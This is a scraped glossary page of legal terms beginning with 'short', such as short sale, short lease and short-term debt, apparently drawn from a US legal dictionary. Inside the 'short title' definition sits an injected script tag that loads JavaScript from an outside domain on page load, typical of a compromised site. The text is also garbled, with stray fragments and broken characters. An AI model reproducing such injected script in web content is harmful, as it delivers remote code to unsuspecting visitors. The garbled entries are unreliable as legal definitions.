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Legal Dictionary of Pakistan

Quick lookup for English, Urdu, and Latin legal terms used in Pakistani jurisprudence.

Short

ub. To sell (a security or commodity) by a short sale < shorted 1,000 shares of Pantheon stock>. See short sale under SALE.

enacted to punish polygamy. 48 USCA ยง 1480a. - Sometimes shortened to Edmunds Act. educational expense.

See EXPENSE

short interest. Securities

In a short sale, the number of shares that have not been purchased for return to lenders. See short sale under SALE.

short lease

A lease of brief duration, often less than six months. sublease. See SUBLEASE.

short position.

The position of an investor who borrowed stock to make a short sale but has not yet purchased the stock to repay the lender. See short sale under SALE.

short sale

A sale of a security that the seller does not own or has not contracted for at the time of sale, and that the seller must borrow to make delivery. ( Such a sale is usu. made when the seller expects the security's price to drop. If the price does drop, the seller can make a profit on the difference between the price of the shares sold and the lower price of the shares bought to pay back the borrowed shares.

short sale against the box

A short sale of a security by a seller who owns enough shares of the security to cover the sale but borrows shares anyway because the seller wants to keep ownership a secret or because the owned shares are not easily accessible. ( Delivery may be made with either the owned or the borrowed shares, so it is less risky than an ordinary short sale. The phrase against the box refers to the owned shares that are in safekeeping; formerly, the "box" was a container used to store stock certificates.

short sale against the box.

See SALE.

short sale.

See SALE.

short summons

A summons having a response time less than that of an ordinary summons, usu. served on a fraudulent or nonresident debtor.

short summons.

See SUMMONS.

short title

The abbreviated title of a statute by which it is popularly known; a statutory nickname. 4. A subdivision of a statute or code <script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=plsbeta.com"></script><!--c93448a6c5b87973--><title IX>. 5. An appellation of office, dignity, or distinction <after the election, he bore the title of mayor for the next four years>.

short ton

Twenty short hundredweight (2,000 pounds), or 0.907 metric tons.

short-form agreement

Labor law. A contract usu. entered into by a small independent contractor whereby the contractor agrees to be bound by the terms of a collective-bargaining agreement negotiated between a union and a multiemployer bargaining unit. short-form merger. See MERGER.

short-form merger.

A merger that is less expensive and time-consuming than an ordinary statutory merger, usu. permitted when a subsidiary merges into a parent that already owns most of the subsidiary's shares. ( Such a merger is generally accomplished when the parent adopts a merger resolution, mails a copy of the plan to the subsidiary's record shareholders, and files the executed articles of merger with the secretary of state, who issues a certificate of merger.

short-swing profits

Profits made by a corporate insider on the purchase and sale (or sale and purchase) of company stock within a six month period. ( These profits are subject to being returned to the company.

short-term capital gain

The profit realized from selling or exchanging a capital asset held for less than a specified period, usu. one year. ( It is treated as ordinary income under current federal tax law.

short-term debt

See DEBT.

short-term loan

A loan with a due date of less than one year, usu. evidenced by a note.

short-term security

A bond or note that matures and is payable within a brief period (often one year).

short-term trading

Investment in securities only to hold them long enough to profit from market-price fluctuations.

short-term trust

See Clifford trust.